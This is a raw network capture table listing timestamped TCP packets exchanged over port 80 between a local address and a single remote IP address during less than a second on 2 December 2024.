Dec 2, 2024 11:20:53.492511988 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.492654085 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.492767096 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.492897034 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.492912054 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.493021011 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.493067026 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.493156910 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.493235111 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.493268967 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.493319035 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.493377924 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.493472099 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.493546009 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.493551970 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.493592024 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.493756056 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.493805885 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.493835926 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.493901968 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.493973970 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.493980885 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.494019985 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.494111061 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.494147062 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.494173050 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.494210005 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.494280100 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.494290113 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.494326115 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.494432926 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.494488001 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.494540930 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.494612932 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.494656086 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.494744062 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.494765043 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.494836092 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.494906902 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.494926929 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.495058060 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.495069981 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.495107889 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.495167017 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.495202065 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.495280981 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.495285034 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.495398045 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.495403051 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.495446920 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.495520115 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.495549917 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.495593071 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.495639086 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.495745897 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.495789051 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.495826006 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.495835066 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.495928049 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.496058941 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.496071100 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.496121883 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.496164083 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.496201038 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.496298075 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.496304989 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.496361971 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.496404886 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.496418953 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.496484995 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.496522903 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.496535063 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.496581078 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.496644020 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.496721983 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.496774912 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.496800900 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.496862888 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.496906042 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.497006893 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.497026920 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.497055054 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.497168064 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.497179985 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.497291088 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.497384071 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.497440100 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.497498035 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.497522116 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.497570992 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.497622967 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.497628927 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.497740030 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.497781992 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.497793913 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.497840881 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.497883081 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.498035908 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.498040915 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.498086929 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.498219013 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.498318911 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.498383999 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.498389006 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.498428106 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.498488903 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.498508930 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.498552084 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.498671055 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.499185085 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.499346972 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.499406099 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.499658108 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.499959946 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.500139952 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.500226021 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.500324011 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.500413895 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.500411987 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.500463009 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.500469923 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.500605106 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.500621080 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.500648022 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.500668049 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.500786066 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.500880003 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.500926971 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.500931025 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.501034021 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.501121998 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.501158953 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.501205921 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.501247883 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.501300097 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.501374960 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.501386881 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.501483917 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.501550913 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.501621008 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.501652956 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.501754045 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.501785994 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.501813889 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.501940966 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.502005100 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.806319952 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.806381941 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.806689978 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.806693077 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.806742907 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.806808949 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.806871891 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.806881905 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.806926966 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.806945086 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.807131052 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.807176113 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.807210922 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.807334900 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.807393074 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.807436943 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.807483912 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.807586908 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.807625055 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.807781935 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.807828903 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.807843924 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.807975054 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.808033943 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.808077097 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.808125973 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.808285952 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.808296919 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.808360100 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.808404922 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.808470011 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.808526993 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.808641911 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.808689117 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.808876038 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.808940887 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809016943 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809065104 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809070110 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.809124947 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809133053 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.809222937 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.809271097 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809386015 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809392929 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.809439898 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.809587955 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.809617996 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809665918 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809727907 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809789896 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809835911 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.809861898 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.809895992 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.809906006 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810012102 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.810025930 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810136080 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810187101 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.810230017 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.810251951 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810306072 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.810412884 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.810447931 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810493946 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810537100 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810621023 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.810652018 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.810653925 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810740948 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.810770988 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810820103 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.810887098 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810935974 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.810986042 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.810993910 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.811064005 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.811130047 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.811139107 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.811233997 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.811255932 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.811323881 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.811404943 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.811480045 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.811521053 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.811569929 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.811645985 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.811702013 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.811717033 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.811760902 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.811804056 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.811866045 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.811937094 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.812016010 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.812028885 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.812135935 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.812185049 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.812366009 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.812408924 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.812474012 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.812552929 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.812695026 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.812716961 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.812863111 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.812875986 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.812994003 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.813057899 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.813122034 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.813133955 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.813288927 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.813337088 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.813344002 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.813425064 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.813523054 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.813524008 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.813571930 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.813693047 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.813771009 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.813800097 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.813844919 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.813888073 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.814004898 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.814043999 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.814088106 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.814097881 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.814199924 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.814199924 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.814306974 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.814353943 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.814462900 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.814512014 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.814560890 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.814608097 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.814733028 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.814815998 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.815021992 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.815035105 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.815177917 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.815275908 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.815474987 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.815531969 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.815706968 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.815795898 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.815843105 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.815927982 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.815994024 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.816032887 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.816107035 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.816150904 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.816189051 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.816253901 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.816272020 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.816319942 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.816360950 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.816463947 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.816489935 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.816513062 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.816550970 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.816632032 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.816786051 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.816819906 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.816867113 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.816956043 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.817064047 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.817115068 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.817126036 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.817169905 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.817207098 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.817284107 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.817425966 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.817446947 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.817519903 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.817567110 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.817591906 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.817625999 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.817668915 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.817748070 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.817781925 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.817800045 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.817898035 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.817933083 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.818002939 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.818067074 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.818101883 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.818110943 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.818203926 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.818254948 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.818325043 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.818372011 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.818517923 CET	49749	80	192.168.11.20	185.215.113.16
Dec 2, 2024 11:20:53.818561077 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.818627119 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.818670988 CET	80	49749	185.215.113.16	192.168.11.20
Dec 2, 2024 11:20:53.818696976 CET	49749	80	192.168.11.20	185.215.113.16
